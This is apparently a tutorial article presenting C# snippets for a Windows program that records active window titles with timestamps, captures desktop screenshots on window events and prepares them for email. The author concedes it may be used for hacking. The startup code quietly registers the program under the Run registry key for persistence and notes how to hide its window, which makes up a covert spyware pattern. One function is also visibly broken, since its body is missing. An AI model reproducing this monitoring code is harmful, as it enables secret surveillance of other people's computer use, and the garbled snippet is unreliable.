*Attention: When you run the program, save snapshot in the path program "...\snapshot_and_track_user\bin\Debug\image" and log save in "...\snapshot_and_track_user\bin\Debug\loge".

Introduction

This program may be used for hacking or something else. But I wrote it for tracking users who use my computer. Its snapshot image desktop application (not run time it takes events) saves title program running a compact image in output for sending an email and saves tracking user with time and name applications.

Background

It takes pictures when user runs the applications and saves it with a compact size with the user program.

Using the Code

Start Up App and Run in Startup Windows

  private void Form1_Load(object sender, EventArgs e)
        {
            creat_folder_log("//log"); //check folder log
            creat_folder("//image");   //check folder image
            RegistryKey add = Registry.CurrentUser.OpenSubKey("SOFTWARE\\
            Microsoft\\Windows\\CurrentVersion\\Run", true); //add to Registry windows
            add.SetValue("vchimg", "\"" + 
                Application.ExecutablePath.ToString() + "\"");
          // this.Opacity = 0;   // if you want hide form
           path_log = path_program_log + "\\logtex.txt"; // static way to get path app
        }

Void GetActiveWindowTitle With user32.dll

public string GetActiveWindowTitle()
{
    const int nChars = 256;
    IntPtr handle = IntPtr.Zero;
    StringBuilder Buff = new StringBuilder(nChars);
    handle = GetForegroundWindow();

    if (GetWindowText(handle, Buff, nChars) > 0)
    {
        return Buff.ToString();
    }
    return null;
}

Create Folder Image And Log

void creat_folder(string name_folder)
{
    string n = System.IO.Path.GetDirectoryName(Application.ExecutablePath.ToString()).
    ToString() + name_folder;
    if (Directory.Exists(n) == false)

    }

}

Main Void Run With EventHook. All void we need to run it in this function.

public void WinEventProc(IntPtr hWinEventHook, uint eventType, IntPtr hwnd,
int idObject, int idChild, uint dwEventThread, uint dwmsEventTime)
{
    // write log with time now
    StreamWriter log = new StreamWriter(path_log, true);
    log.WriteLine(GetActiveWindowTitle() + "=>Time:" + 
    DateTime.Now.ToLongTimeString());
    log.Close();
    // add ID for Image
    m++;
    // snapshot desktop
    captcure_imge();
}
